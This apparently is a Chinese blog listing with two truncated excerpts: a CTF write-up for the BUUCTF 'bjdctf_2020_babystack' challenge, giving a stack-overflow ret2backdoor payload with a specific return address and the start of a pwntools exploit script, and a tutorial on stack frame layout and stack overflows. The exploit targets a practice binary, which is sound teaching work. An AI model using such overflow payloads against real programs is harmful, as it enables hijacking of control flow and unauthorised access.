BUUCTF-bjdctf_2020_babystack 题解
题目 题目链接 checksec IDA 很显然,由于 nbytes 可以被赋予一个较大的值,使得 buf 可以被溢出。 backdoor 思路 利用的栈溢出漏洞覆盖函数返回地址,使之返回到这个后门函数提权即可。 附一个图示: 根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击,由于需要栈对齐,其中,backdoor_addr = 0x4006ea ,而不是 backdoor_addr = 0x4006e6 exp 1234567891011121314151617181920from pwn import *context.log_level = 'debug'context.arch = 'amd64'p = process('./bjdctf_2020_babystack')p.recvuntil(b'name:\n')payload = b'40'p.sendline(pay...
栈帧结构和栈溢出漏洞
栈帧 什么是栈帧 函数栈帧 (stack frame) 就是函数调用过程中程序的调用栈 (call stack) 所开辟的空间,这些空间是用来存放: 函数参数和函数返回值 临时变量(包括函数的非静态的局部变量以及编译器自动生产的其他临时变量) 保存上下文信息(包括在函数调用前后需要保持不变的寄存器) 栈帧结构 栈从高地址向低地址生长,而在 x86 架构下数据则以小端序写入:高位字节放高地址端,低位字节放低地址端,可以理解为从低地址向高地址生长。 所以,栈顶在低地址处,栈基在高地址处。 主调函数进行函数调用时,一般会在紧贴主调函数栈帧下方建立一个新的栈帧。 重要指针寄存器 栈指针: sp ,指向栈顶, push 指令会使 sp 下移, pop 指令会使 sp 上移。 帧指针: bp ,指向当前函数栈帧的基,指向的位置用于保存当前函数的主调函数的帧指针。 指令指针: ip ,是计算机处理器中用于存储下一条待执行指令内存地址的寄存器。 注意,栈指针与帧指针正常情况下均应指向某个单位内存的最低地址处。 32 位栈帧结构 64 位栈帧结构 64 位下,函数的前 6 个...